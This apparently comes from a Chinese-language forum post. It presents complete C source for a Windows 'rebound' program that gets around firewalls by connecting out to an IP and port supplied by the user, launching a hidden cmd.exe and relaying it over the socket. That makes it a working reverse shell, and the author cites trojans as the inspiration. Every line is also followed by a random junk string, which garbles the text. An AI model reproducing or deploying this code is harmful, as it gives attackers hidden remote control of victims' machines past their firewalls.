这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "B>8on8O
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/* ============================== aNBwb9X
Rebound port in Windows NT B=~uJUr
By wind,2006/7 =b, m31
===============================*/ 0g9y4z{H
#include Xk!wT2;
#include \-SC-c
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#pragma comment(lib,"wsock32.lib") 9/_~YY=/h
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void OutputShell(); nk;^sq4M:
SOCKET sClient; a$\Bt_
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H@b4(6
nok-![
void main(int argc,char **argv) Xck`"RU<xA
{ 9h/Hy aN
WSADATA stWsaData; ~E/=nv$
int nRet; v#EFklOP
SOCKADDR_IN stSaiClient,stSaiServer; [8Fn0A
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if(argc != 3) M:dH>
{ !f]kTs]j~
printf("Useage:\n\rRebound DestIP DestPort\n"); BS
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return; T;]Ob3(BpW
} AiB]A}
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WSAStartup(MAKEWORD(2,2),&stWsaData); = WHI/|&
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o/ 7[
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stSaiClient.sin_family = AF_INET; =K_&@|f+B
stSaiClient.sin_port = htons(0); |*DkriYY
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); lF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) U1(cBY
{ v!$:t<-5N
printf("Bind Socket Failed!\n"); mT #A?C2
return; E]}_hZU
} `F]
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stSaiServer.sin_family = AF_INET; nSRNd
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |o+*Iy)
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) mZM,"Wq,
{ CI-1>= "OE
printf("Connect Error!"); ahQY-%>
return; G4rzx%W?
} +prUau*
OutputShell(); ns*:mGh
} #SG.`J<%
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void OutputShell() -2(?O`tZ
{ IMBjI#\
char szBuff[1024]; R1/c@HQw?
SECURITY_ATTRIBUTES stSecurityAttributes; =XK}eQ_d
OSVERSIONINFO stOsversionInfo; i"xV=.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,FXc_BCx4
STARTUPINFO stStartupInfo; !zvOCAb,
char *szShell; K|l}+:k
PROCESS_INFORMATION stProcessInformation; *[m:4\
unsigned long lBytesRead; y/:%S2za>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); G&@dJ &B
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); I ~^Xw7
stSecurityAttributes.lpSecurityDescriptor = 0; !XM<`H/
stSecurityAttributes.bInheritHandle = TRUE; uE<8L(*B
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2r;h">
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u!&T}i:
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5423Ky<
stStartupInfo.wShowWindow = SW_HIDE; wlsx|
stStartupInfo.hStdInput = hReadPipe; ;^u,[d
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _C(fz CK
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GetVersionEx(&stOsversionInfo); 5Zd oem
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switch(stOsversionInfo.dwPlatformId) .6LRg
{ 5ba e-
case 1: >MSK.SNh
szShell = "command.com"; >*opE I+
break; Qc)i?Z'6
default: Dy>6L79G
szShell = "cmd.exe"; Jm#p!G+
break; ck%YEMs
} Vo+.s#wN`h
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); '=%`;?j
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send(sClient,szMsg,77,0); +2}cR66%
while(1) [ZC\8tP`V
{ %P M#gnt@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9#m3<oSJ
if(lBytesRead) KO%$
{ W$2\GPJt
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2K{'F1"RM
send(sClient,szBuff,lBytesRead,0); _x1W\#
} /CMgWGI
else 09trFj$L
{ @;$cX2
lBytesRead=recv(sClient,szBuff,1024,0); :CK`v6 Qs
if(lBytesRead<=0) break; DB65vM
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,|3_@tUl
} ?o$t{AQ
} OzD\*,{7
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return; U\B9Ab
}